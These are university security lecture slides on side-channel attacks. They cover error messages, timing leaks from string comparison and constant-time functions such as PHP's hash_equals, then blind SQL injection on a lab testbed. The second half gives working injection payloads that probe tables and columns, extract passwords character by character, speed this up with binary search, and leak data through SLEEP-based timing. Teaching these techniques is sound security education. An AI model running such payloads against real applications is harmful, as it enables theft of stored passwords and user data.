

Side-channel attacks (and blind SQL injections)

Security 1 2018-19

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Introduction

It is often the case that applications have **side effects**: an observable effect reflecting the internal state

If the side effect depends on a secret value we have a ***partial* leakage**

If the leakage is **enough to recover the secret** then we have an attack

Necessary leakages

Consider a **failure** in password check:

1. User enters a password
2. The system checks the password (hash)
3. If the password is incorrect the user is notified

Leak: at each iteration the attacker **discovers that a certain password is incorrect**

⇒ An attacker might **bruteforce** a password online

Solution: slow down password check after some errors

Practical attacks

Small search space \Rightarrow the attack becomes **fast!**

- ATM PIN
- Telephone (SIM) PIN
- Any smartcard PIN
- Smartphone PIN
- ...

\Rightarrow 5 digits PINs are just 99999!

Solution: Lock device after some attempts

Kind of side channels

Side channels can be based on

- Errors
- Time
- Content
- Size
- Power consumption
- Electromagnetic emissions
- ...

Errors

Example: Wrong credentials

We cannot ignore the error, but we can **minimize** the leak by “hiding” what is wrong

- ~~1. if username is wrong return “*User does not exists*”~~
- ~~2. if password is wrong return “*Wrong password*”~~

Solution: if either username or password is wrong return “*Wrong credentials*”

Time (1)

Consider again the example: if either username or password is wrong return “*Wrong credentials*”

The test “either username or password is wrong” might be **faster** when the username is wrong

⇒ an attacker observing **time** could still deduce that the User does not exist!

Solution: use time-safe code!

Time (2)

Equality tests leak sensitive data:

'aaaaaaaaaa' == 'aaaaaaaaaa'

slower than

'aaaaaaaaaa' == 'aaaaaaaaabb'

much slower than

'aaaaaaaaaa' == 'baaaaaaaaaa'

and

'aaaaaaaaaa' == 'a'

Time (2)

Attacker starts from

'axxxxxx' == '*****'

'bxxxxxx' == '*****'

...

'**s**xxxxxx' == '*****'

Slower! first * is s!

Then

'**s**axxxxx' == '*****'

'**s**bxxxxxx' == '*****'

...

Time-safe functions

For example, in PHP:

```
bool hash_equals ( string $known_string ,  
string $user_string )
```

Compares two strings using the same time whether they're equal or not.

This function should be used to **mitigate timing attacks**; for instance, when testing crypt() password hashes.

Neither PHP's == and === operators nor strcmp() perform constant time string comparisons

Blind SQL injection

An injection that exploits a *side channel* to leak information:

- The injection queries sensitive data
- The result is leaked via side channel

⇒ It is **effective** when the result of the query cannot be directly displayed

Possible side channels

Depending of the query **success**, the application shows:

- a distinguishable message;
- an error;
- a broken page
- an empty page
- ...
-

Intuitively, we get a **1-bit boolean answer**

⇒ **Iteration** might leak the whole sensitive data

Example

Consider, for example, a password recovery service
(use haxor/sqlleet to login)

It sends an email with a new password to users, if they are registered in the system

⇒ If the user is registered the email is sent, otherwise an **error message** is displayed.

Example ctd.

Suppose the query is something like:

```
SELECT 1 FROM ... WHERE ... = 'EMAIL'
```

If the query is successful the answer is YES otherwise the answer is NO (including when there is an **error**)

What is the effect of `' OR 1=1 # ?`

⇒ Makes the query **succeed** but does not leak any data

⇒ apart that we discover that injections are possible

Leaking something

We can now inject the following code:

```
' OR (SELECT 1 FROM users LIMIT 0,1)=1 #
```

Check if the table `users` exists!

Notice the usage of `LIMIT 0,1` to just get the first row, where `0` is the OFFSET and `1` the ROWCOUNT

In our example the name of the table is `people` ...

Experiment on testbed

```
r1x@testbed ~ $ mysql -A -usqli_example -psqli_example  
sqli_example
```

```
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM  
people LIMIT 0,1)=1;
```

```
+----+
```

```
| 1 |
```

```
+----+
```

```
| 1 |
```

```
| 1 |
```

```
...
```

```
| 1 |
```

```
| 1 |
```

```
+----+
```

```
10 rows in set (0.00 sec)
```



Experiment on testbed

We get 10 rows with value 1 (OK or not ...)

If we want to **limit** the result to one row we can add another LIMIT directive as follows:

```
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM  
people LIMIT 0,1)=1 LIMIT 0,1;
```

```
+----+
```

```
| 1 |
```

```
+----+
```

```
| 1 |
```

```
+----+
```

```
1 row in set (0.00 sec)
```

Checking column name

We can use `MID` function to check the existence of a particular column:

```
' OR (SELECT MID(password,1,0) FROM people  
LIMIT 0,1)=' '#
```

Only when `password` exists we get a positive result

`MID(password,1,0)` gets the substring of length `0` from position `1`

Leaking arbitrary data

Guessing rows and columns names and data can work in simple examples

Can we leak arbitrary data?

```
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='a' #  
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='b' #  
...  
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='z' #
```

⇒ Brute forces the first character of the first password!

Exercises

1. Brute force the `lastname` of users in `people`
2. Improve the attack using binary search:

```
' or (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1) <=ORD('a') #
```

3. When no error message is given it is still possible to try a totally blind injection

```
' or (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1) <=ORD('z'), SLEEP(0.1), NULL)) #
```